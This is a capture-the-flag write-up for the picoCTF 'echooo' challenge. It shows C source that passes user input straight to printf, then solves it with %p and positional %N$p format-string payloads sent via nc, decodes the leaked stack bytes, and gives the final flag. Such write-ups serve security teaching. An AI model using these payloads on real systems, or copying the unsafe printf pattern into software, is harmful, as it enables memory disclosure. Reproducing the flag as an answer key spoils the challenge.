Binary Exploitation 300: echooo
Challenge
This program prints any input you give it. Can you leak the flag? Connect with nc 2018shell1.picoctf.com 23397
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
char buf[64];
char flag[64];
char *flag_ptr = flag;
// Set the gid to the effective gid
gid_t gid = getegid();
setresgid(gid, gid, gid);
memset(buf, 0, sizeof(flag));
memset(buf, 0, sizeof(buf));
puts("Time to learn about Format Strings!");
puts("We will evaluate any format string you give us with printf().");
puts("See if you can get the flag!");
FILE *file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
while(1) {
printf("> ");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
return 0;
}
Solution
printf function is vulnerable to format string attacks. We can pass it a string lik %x
or %p
and read the stack.
since we know that picoCTF
is 7069636f435446
in hex, we should be able to spot the flag on the stack, let’s try it:
1
2
3
4
5
$ python -c "print('%p'*32)" | nc 2018shell1.picoctf.com 23397
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> 0x400xf779a5a00x80486470xf77d1a740x10xf77a94900xffc1c8a40xffc1c7ac0x4910x89990080x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x2570250x6f6369700x7b4654430x6d526f660x735f74340x6e695274
reformatted to make easier to read:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0x40
0xf77515a0
0x8048647
0xf7788a74
0x1
xf7760490
0xfff4a3c4
0xfff4a2cc
0x491
0x81aa008
0x70257025 # our own input of %p repeatedly
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0xa
0x6f636970 # flag? (little endian)
0x7b465443
0x6d526f66
0x735f7434
0x6e695274
..
The bytes around the flag translate to:
1
2
3
4
5
ocip
{FTC
mRof
s_t4
niRt
accounting for little endian this gives us:
1
picoCTF{foRm4t_stRin
but end is missing? our buffer isnt big enough to show us the whole flag, so we gotta be smarter about it.
Passing a format string like %42$p
will return the 42nd item on the stack
1
2
3
4
5
$ python -c "print(''.join(['%'+str(i)+'\$p' for i in range(27,39)]))" | nc 2018shell1.picoctf.com 23397 [13-10-18 11:25:04]
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> 0x6f6369700x7b4654430x6d526f660x735f74340x6e6952740x615f73470x445f65520x65476e610x737530720x3435325f0x613834310xa7d65
or with a bit of extra formatting:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python -c "print(''.join(['%'+str(i)+'\$p' for i in range(27,39)]))" | nc 2018shell1.picoctf.com 23397 |head -n 4 | tail -n 1 | sed 's/0x/\n0x/g' | python ../../_resources/code/l2a.py
>
0x6f636970 ocip
0x7b465443 {FTC
0x6d526f66 mRof
0x735f7434 s_t4
0x6e695274 niRt
0x615f7347 a_sG
0x445f6552 D_eR
0x65476e61 eGna
0x73753072 su0r
0x3435325f 452_
0x61383431 a841
0xa7d65
the last line tranlslates to e}
so full flag is:
Flag
picoCTF{foRm4t_stRinGs_aRe_DanGer0us_254148ae}